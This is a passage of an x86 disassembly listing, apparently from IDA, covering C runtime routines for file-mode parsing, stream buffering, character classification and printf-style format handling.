					; sub_41AC01+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41ADB5


loc_41ADB1:				; CODE XREF: sub_41AC01+167j
					; sub_41AC01+16Dj
		mov	byte ptr [edi],	0Dh


loc_41ADB4:				; CODE XREF: sub_41AC01+199j
		inc	edi


loc_41ADB5:				; CODE XREF: sub_41AC01+11Ej
					; sub_41AC01+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41AD08
		jmp	short loc_41ADD3
; ---------------------------------------------------------------------------


loc_41ADC3:				; CODE XREF: sub_41AC01+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41ADD3
		or	al, 2
		mov	[esi], al


loc_41ADD3:				; CODE XREF: sub_41AC01+101j
					; sub_41AC01+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41ADD9:				; CODE XREF: sub_41AC01+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41ADF2
; ---------------------------------------------------------------------------


loc_41ADDE:				; CODE XREF: sub_41AC01+12j
					; sub_41AC01+39j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_41ADEF:				; CODE XREF: sub_41AC01+ABj
					; sub_41AC01+C3j
		or	eax, 0FFFFFFFFh


loc_41ADF2:				; CODE XREF: sub_41AC01+B7j
					; sub_41AC01+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AC01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADF7	proc near		; CODE XREF: sub_4178D8+106p
					; sub_417A3D+1Fp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4D874C
		test	eax, eax
		jz	short loc_41AE0F
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AE0F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AE0F:				; CODE XREF: sub_41ADF7+7j
					; sub_41ADF7+12j
		xor	eax, eax
		retn
sub_41ADF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE12	proc near		; CODE XREF: sub_4179F8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4D88B8
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41AE4B
		cmp	al, 72h
		jz	short loc_41AE44
		cmp	al, 77h
		jnz	loc_41AF5F
		mov	ecx, 301h
		jmp	short loc_41AE50
; ---------------------------------------------------------------------------


loc_41AE44:				; CODE XREF: sub_41AE12+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41AE53
; ---------------------------------------------------------------------------


loc_41AE4B:				; CODE XREF: sub_41AE12+1Dj
		mov	ecx, 109h


loc_41AE50:				; CODE XREF: sub_41AE12+30j
		or	esi, 2


loc_41AE53:				; CODE XREF: sub_41AE12+37j
		push	1
		pop	edx


loc_41AE56:				; CODE XREF: sub_41AE12+8Bj
					; sub_41AE12+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AF45
		cmp	edx, ebx
		jz	loc_41AF45
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AEE4
		jz	short loc_41AED4
		sub	eax, 2Bh
		jz	short loc_41AEBE
		sub	eax, 19h
		jz	short loc_41AEB4
		sub	eax, 0Eh
		jz	short loc_41AE9F
		dec	eax
		jnz	loc_41AF36
		cmp	[ebp+var_4], ebx
		jnz	loc_41AF36
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE12+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AF36
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AEB4:				; CODE XREF: sub_41AE12+6Aj
		test	cl, 40h
		jnz	short loc_41AF36
		or	ecx, 40h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AEBE:				; CODE XREF: sub_41AE12+65j
		test	cl, 2
		jnz	short loc_41AF36
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41AE56
; ---------------------------------------------------------------------------


loc_41AED4:				; CODE XREF: sub_41AE12+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AF36
		or	ecx, eax
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AEE4:				; CODE XREF: sub_41AE12+5Ej
		sub	eax, 62h
		jz	short loc_41AF31
		dec	eax
		jz	short loc_41AF1A
		sub	eax, 0Bh
		jz	short loc_41AF03
		sub	eax, 6
		jnz	short loc_41AF36
		test	ch, 0C0h
		jnz	short loc_41AF36
		or	ch, 40h
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF03:				; CODE XREF: sub_41AE12+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AF36
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF1A:				; CODE XREF: sub_41AE12+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AF36
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF31:				; CODE XREF: sub_41AE12+D5j
		test	ch, 0C0h
		jz	short loc_41AF3D


loc_41AF36:				; CODE XREF: sub_41AE12+72j
					; sub_41AE12+7Bj ...
		xor	edx, edx
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF3D:				; CODE XREF: sub_41AE12+122j
		or	ch, 80h
		jmp	loc_41AE56
; ---------------------------------------------------------------------------


loc_41AF45:				; CODE XREF: sub_41AE12+4Aj
					; sub_41AE12+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F514
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AF63


loc_41AF5F:				; CODE XREF: sub_41AE12+25j
		xor	eax, eax
		jmp	short loc_41AF7D
; ---------------------------------------------------------------------------


loc_41AF63:				; CODE XREF: sub_41AE12+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4D88B4
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41AF7D:				; CODE XREF: sub_41AE12+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AE12	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF82	proc near		; CODE XREF: sub_4179F8p
		mov	edx, dword_4D9A00
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AFF3
		mov	ebx, dword_4D89E0
		mov	edi, ebx


loc_41AF9E:				; CODE XREF: sub_41AF82+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AFB9
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AFB4
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AF9E
		jmp	short loc_41AFF3
; ---------------------------------------------------------------------------


loc_41AFB4:				; CODE XREF: sub_41AF82+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AFDD
; ---------------------------------------------------------------------------


loc_41AFB9:				; CODE XREF: sub_41AF82+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417A2B
		pop	ecx
		mov	ecx, dword_4D89E0
		mov	[edi+ecx], eax
		mov	eax, dword_4D89E0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AFF3
		mov	esi, edi


loc_41AFDD:				; CODE XREF: sub_41AF82+35j
		cmp	esi, ebp
		jz	short loc_41AFF3
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41AFF3:				; CODE XREF: sub_41AF82+12j
					; sub_41AF82+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AF82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFFA	proc near		; CODE XREF: sub_417BFE+17p
					; sub_417BFE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41B018
		mov	ecx, off_43AB80
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41B06A
; ---------------------------------------------------------------------------


loc_41B018:				; CODE XREF: sub_41AFFA+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43AB80
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41B03D
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41B046
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFFA+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41B046:				; CODE XREF: sub_41AFFA+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41F7CD
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41B066
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B066:				; CODE XREF: sub_41AFFA+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41B06A:				; CODE XREF: sub_41AFFA+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41AFFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B06F	proc near		; CODE XREF: sub_417D96+46p
					; sub_417E90+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41B178
		test	al, 40h
		jnz	loc_41B178
		test	al, 1
		jz	short loc_41B0A7
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41B178
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41B0A7:				; CODE XREF: sub_41B06F+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B0E1
		cmp	esi, offset dword_43B298
		jz	short loc_41B0CF
		cmp	esi, offset dword_43B2B8
		jnz	short loc_41B0DA


loc_41B0CF:				; CODE XREF: sub_41B06F+56j
		push	ebx
		call	sub_41F916
		test	eax, eax
		pop	ecx
		jnz	short loc_41B0E1


loc_41B0DA:				; CODE XREF: sub_41B06F+5Ej
		push	esi
		call	sub_41F4D0
		pop	ecx


loc_41B0E1:				; CODE XREF: sub_41B06F+4Ej
					; sub_41B06F+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41B14E
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41B111
		push	edi
		push	eax
		push	ebx
		call	sub_41F26A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41B144
; ---------------------------------------------------------------------------


loc_41B111:				; CODE XREF: sub_41B06F+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41B12C
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41B131
; ---------------------------------------------------------------------------


loc_41B12C:				; CODE XREF: sub_41B06F+A5j
		mov	eax, offset dword_43B1E0


loc_41B131:				; CODE XREF: sub_41B06F+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41B144
		push	2
		push	0
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch


loc_41B144:				; CODE XREF: sub_41B06F+A0j
					; sub_41B06F+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41B162
; ---------------------------------------------------------------------------


loc_41B14E:				; CODE XREF: sub_41B06F+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41F26A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41B162:				; CODE XREF: sub_41B06F+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41B16E
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41B17D
; ---------------------------------------------------------------------------


loc_41B16E:				; CODE XREF: sub_41B06F+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41B180
; ---------------------------------------------------------------------------


loc_41B178:				; CODE XREF: sub_41B06F+10j
					; sub_41B06F+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41B17D:				; CODE XREF: sub_41B06F+FDj
		or	eax, 0FFFFFFFFh


loc_41B180:				; CODE XREF: sub_41B06F+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41B06F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B184	proc near		; CODE XREF: sub_417D96+29p
					; sub_417E90+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41B89D
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41B1B8
; ---------------------------------------------------------------------------


loc_41B1B0:				; CODE XREF: sub_41B184+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41B1B8:				; CODE XREF: sub_41B184+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41B89D
		cmp	bl, 20h
		jl	short loc_41B1D9
		cmp	bl, 78h
		jg	short loc_41B1D9
		movsx	eax, bl
		mov	al, byte ptr flt_4236F4[eax]
		and	eax, 0Fh
		jmp	short loc_41B1DB
; ---------------------------------------------------------------------------


loc_41B1D9:				; CODE XREF: sub_41B184+40j
					; sub_41B184+45j
		xor	eax, eax


loc_41B1DB:				; CODE XREF: sub_41B184+53j
		movsx	eax, byte_423714[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41B88C	; default
		jmp	off_41B8A5[eax*4] ; switch jump


loc_41B1F9:				; DATA XREF: .nsp0:off_41B8A5o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041B1F2 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B214:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: .nsp0:off_41B8A5o
		movsx	eax, bl		; jumptable 0041B1F2 case 2
		sub	eax, 20h
		jz	short loc_41B257
		sub	eax, 3
		jz	short loc_41B24E
		sub	eax, 8
		jz	short loc_41B245
		dec	eax
		dec	eax
		jz	short loc_41B23C
		sub	eax, 3
		jnz	loc_41B88C	; default
		or	[ebp+var_4], 8
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B23C:				; CODE XREF: sub_41B184+A4j
		or	[ebp+var_4], 4
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B245:				; CODE XREF: sub_41B184+A0j
		or	[ebp+var_4], 1
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B24E:				; CODE XREF: sub_41B184+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B257:				; CODE XREF: sub_41B184+96j
		or	[ebp+var_4], 2
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B260:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: .nsp0:off_41B8A5o
		cmp	bl, 2Ah		; jumptable 0041B1F2 case 3
		jnz	short loc_41B288
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41B88C	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41B280:				; CODE XREF: sub_41B184+111j
		mov	[ebp+var_20], eax
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B288:				; CODE XREF: sub_41B184+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41B280
; ---------------------------------------------------------------------------


loc_41B297:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: .nsp0:off_41B8A5o
		mov	[ebp+var_10], edx ; jumptable 0041B1F2 case 4
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B29F:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: .nsp0:off_41B8A5o
		cmp	bl, 2Ah		; jumptable 0041B1F2 case 5
		jnz	short loc_41B2C2
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41B88C	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2C2:				; CODE XREF: sub_41B184+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2D4:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: .nsp0:off_41B8A5o
		cmp	bl, 49h		; jumptable 0041B1F2 case 6
		jz	short loc_41B307
		cmp	bl, 68h
		jz	short loc_41B2FE
		cmp	bl, 6Ch
		jz	short loc_41B2F5
		cmp	bl, 77h
		jnz	loc_41B88C	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2F5:				; CODE XREF: sub_41B184+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B2FE:				; CODE XREF: sub_41B184+158j
		or	[ebp+var_4], 20h
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B307:				; CODE XREF: sub_41B184+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41B320
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41B320
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B320:				; CODE XREF: sub_41B184+186j
					; sub_41B184+18Cj
		mov	[ebp+var_30], edx


loc_41B323:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: .nsp0:off_41B8A5o
		mov	ecx, off_43AB80	; jumptable 0041B1F2 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B34F
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41B8C5
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41B34F:				; CODE XREF: sub_41B184+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41B8C5
		add	esp, 0Ch
		jmp	loc_41B88C	; default
; ---------------------------------------------------------------------------


loc_41B367:				; CODE XREF: sub_41B184+6Ej
					; DATA XREF: .nsp0:off_41B8A5o
		movsx	eax, bl		; jumptable 0041B1F2 case 7
		cmp	eax, 67h
		jg	loc_41B58F
		cmp	eax, 65h
		jge	loc_41B412
		cmp	eax, 58h
		jg	loc_41B470
		jz	loc_41B603
		sub	eax, 43h
		jz	loc_41B433
		dec	eax
		dec	eax
		jz	short loc_41B408
		dec	eax
		dec	eax
		jz	short loc_41B408
		sub	eax, 0Ch
		jnz	loc_41B78E
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41B3B1
		or	byte ptr [ebp+var_4+1],	8


loc_41B3B1:				; CODE XREF: sub_41B184+227j
					; sub_41B184+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41B3BE
		mov	esi, 7FFFFFFFh


loc_41B3BE:				; CODE XREF: sub_41B184+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41B5D7
		test	ecx, ecx
		jnz	short loc_41B3E6
		mov	ecx, off_43AD9C
		mov	[ebp+var_8], ecx


loc_41B3E6:				; CODE XREF: sub_41B184+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41B3EF:				; CODE XREF: sub_41B184+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41B5CE
		cmp	word ptr [eax],	0
		jz	loc_41B5CE
		inc	eax
		inc	eax
		jmp	short loc_41B3EF
; ---------------------------------------------------------------------------


loc_41B408:				; CODE XREF: sub_41B184+212j
					; sub_41B184+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41B412:				; CODE XREF: sub_41B184+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41B4F6
		mov	[ebp+var_10], 6
		jmp	loc_41B504
; ---------------------------------------------------------------------------


loc_41B433:				; CODE XREF: sub_41B184+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41B43F
		or	byte ptr [ebp+var_4+1],	8


loc_41B43F:				; CODE XREF: sub_41B184+2B5j
					; sub_41B184+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B486
		call	sub_41B980
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41F93C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41B499
		mov	[ebp+var_28], 1
		jmp	short loc_41B499
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: sub_41B184+1FBj
		sub	eax, 5Ah
		jz	short loc_41B4A7
		sub	eax, 9
		jz	short loc_41B43F
		dec	eax
		jz	loc_41B669
		jmp	loc_41B78E
; ---------------------------------------------------------------------------


loc_41B486:				; CODE XREF: sub_41B184+2C5j
		call	sub_41B963
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41B499:				; CODE XREF: sub_41B184+2E1j
					; sub_41B184+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41B78E
; ---------------------------------------------------------------------------


loc_41B4A7:				; CODE XREF: sub_41B184+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B963
		test	eax, eax
		pop	ecx
		jz	short loc_41B4E8
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41B4E8
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41B4D9
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41B78E
; ---------------------------------------------------------------------------


loc_41B4D9:				; CODE XREF: sub_41B184+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B4E8:				; CODE XREF: sub_41B184+32Fj
					; sub_41B184+336j
		mov	eax, off_43AD98
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41B584
; ---------------------------------------------------------------------------


loc_41B4F6:				; CODE XREF: sub_41B184+29Dj
		jnz	short loc_41B504
		cmp	bl, 67h
		jnz	short loc_41B504
		mov	[ebp+var_10], 1


loc_41B504:				; CODE XREF: sub_41B184+2AAj
					; sub_41B184:loc_41B4F6j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B128
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41B556
		cmp	[ebp+var_10], 0
		jnz	short loc_41B556
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B134
		pop	ecx


loc_41B556:				; CODE XREF: sub_41B184+3BCj
					; sub_41B184+3C2j
		cmp	bl, 67h
		jnz	short loc_41B56D
		test	esi, esi
		jnz	short loc_41B56D
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B12C
		pop	ecx


loc_41B56D:				; CODE XREF: sub_41B184+3D5j
					; sub_41B184+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41B583
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41B583:				; CODE XREF: sub_41B184+3F0j
		push	edi


loc_41B584:				; CODE XREF: sub_41B184+36Dj
		call	sub_4176F0
		pop	ecx
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B58F:				; CODE XREF: sub_41B184+1E9j
		sub	eax, 69h
		jz	loc_41B669
		sub	eax, 5
		jz	loc_41B63F
		dec	eax
		jz	loc_41B62C
		dec	eax
		jz	short loc_41B5FC
		sub	eax, 3
		jz	loc_41B3B1
		dec	eax
		dec	eax
		jz	loc_41B66D
		sub	eax, 3
		jnz	loc_41B78E
		mov	[ebp+var_2C], 27h
		jmp	short loc_41B60A
; ---------------------------------------------------------------------------


loc_41B5CE:				; CODE XREF: sub_41B184+270j
					; sub_41B184+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B5D7:				; CODE XREF: sub_41B184+24Fj
		test	ecx, ecx
		jnz	short loc_41B5E4
		mov	ecx, off_43AD98
		mov	[ebp+var_8], ecx


loc_41B5E4:				; CODE XREF: sub_41B184+455j
		mov	eax, ecx


loc_41B5E6:				; CODE XREF: sub_41B184+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41B5F5
		cmp	byte ptr [eax],	0
		jz	short loc_41B5F5
		inc	eax
		jmp	short loc_41B5E6
; ---------------------------------------------------------------------------


loc_41B5F5:				; CODE XREF: sub_41B184+467j
					; sub_41B184+46Cj
		sub	eax, ecx
		jmp	loc_41B78B
; ---------------------------------------------------------------------------


loc_41B5FC:				; CODE XREF: sub_41B184+425j
		mov	[ebp+var_10], 8


loc_41B603:				; CODE XREF: sub_41B184+201j
		mov	[ebp+var_2C], 7


loc_41B60A:				; CODE XREF: sub_41B184+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41B674
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B62C:				; CODE XREF: sub_41B184+41Ej
